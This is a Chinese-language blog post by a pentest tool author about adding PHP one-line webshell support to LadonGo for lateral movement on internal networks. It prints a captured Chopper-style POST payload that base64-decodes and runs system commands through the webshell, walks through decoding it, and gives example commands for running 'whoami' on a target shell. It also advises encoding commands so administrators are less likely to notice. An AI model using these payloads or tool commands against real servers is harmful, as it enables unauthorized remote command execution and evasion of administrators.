〖编程〗LadonGo菜刀PHP一句话连接执行CMD代码
本文于 1551 天之前发表
背景
最近VPS被人D比较卡,有时候M都不定连得上,或者连上了也难代理出来,所以需要一个命令行下连接内网WEBSHELL执行命令的工具,当然这个功能Ladon早有了。主要是因为在Linux下横向渗透连接内网其它机器执行命令,GO版还没有,所以先给LadonGo添加PHP一句话的连接功能,其它webshell有空再加。
PS:其实主要是另一个原因,好像M在某个LNX环境下有问题,兼容性非常差有个BUG,NC或代理工具等可连网程序通过M执行后经常容易僵尸进程,出此意外得重启M或重启系统才行,而出现僵尸进程时又还显示网络连接时,很容易被管理员发现,所以代理等连网程序能不用就不用。
菜刀PHP一句话
连接执行代码
通过Post提交tom参数,可执行PHP代码,如tom=phpinfo();
当然也可以简单粗暴的执行cmd命令,如tom=system(whoami);
但是这样过于明显,会直接暴露我们执行的命令,所以最好做个加密
菜刀一句话抓包
使用菜刀原版或K8飞刀的菜刀模式连接PHP一句话执行命令
K8飞刀的菜刀选项连接PHP一句话,抓包内容如下:
tom=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOztlY2hvKCJ8PC0iKTtkaWUoKTs%3D&z1=Y21k&z2=Y2QgL2QgIkM6XHBocFN0dWR5XFBIUFR1dG9yaWFsXFdXVyImd2hvYW1pJmVjaG8gW1NdJmNkJmVjaG8gW0Vd
可以看到提交的包使用了URL编码和Base64编码,想知道菜刀如何通讯执行CMD命令或者说有无后门,我们就得将其解密。几年前我曾发过抓过狗菜刀的后门,和此文章同理。
验证数据包
K8飞刀-HackIE模块可测试提交抓到的包,看其是否能正常工作
URL编码解密
打开K8飞刀–编码模块(第3个图标)–粘贴抓包数据–复制需要解密的内容–右键编码转换–URL编码–URL编码解密
Base64编码解密z1
K8飞刀–右键选中Z1后面内容—编码转换–Base64编码–Base64编码解密
Base64编码解密z2
明文结果
完全解密后,我们发现整段代码执行命令参数在z2,执行cmd的post包直接替换z2参数中的whoami再转成base64编码即可实现菜刀连接PHP一句话执行CMD的功能。
tom=@eval(base64_decode($_POST[z0]));&z0=@ini_set(“display_errors”,“0”);@set_time_limit(0);@set_magic_quotes_runtime(0);echo(“->|”);;$p=base64_decode($_POST[“z1”]);$s=base64_decode($_POST[“z2”]);$d=dirname($_SERVER[“SCRIPT_FILENAME”]);$c=substr($d,0,1)==“/”?“-c "{$s}"”:“/c "{$s}"”;$r=“{$p} {$c}”;@system($r." 2>&1",$ret);print ($ret!=0)?"
ret={$ret}
“:”“;;echo(”|<-");die();&z1=Y21k&z2=cd /d “C:\phpStudy\PHPTutorial\WWW”&whoami&echo [S]&cd&echo [E]
Go连接PHP一句话
1 | package rexec |
PS: C#版代码可参考K8fly
LadonGo连接
Ladon phpshell http://192.168.1.8/1.php k8 whoami
Ladon连接
062 WebShell远程执行命令(非交互式)
Usage:Ladon WebShell ScriptType ShellType url pwd cmd
Example: Ladon WebShell jsp ua http://192.168.1.8/shell.jsp Ladon whoami
Example: Ladon WebShell aspx cd http://192.168.1.8/1.aspx Ladon whoami
Example: Ladon WebShell php ua http://192.168.1.8/1.php Ladon whoami
下载
https://github.com/k8gege/Ladon
https://github.com/k8gege/LadonGo
转载声明
K8博客文章随意转载,转载请注明出处! © K8gege http://k8gege.org

扫码加入K8小密圈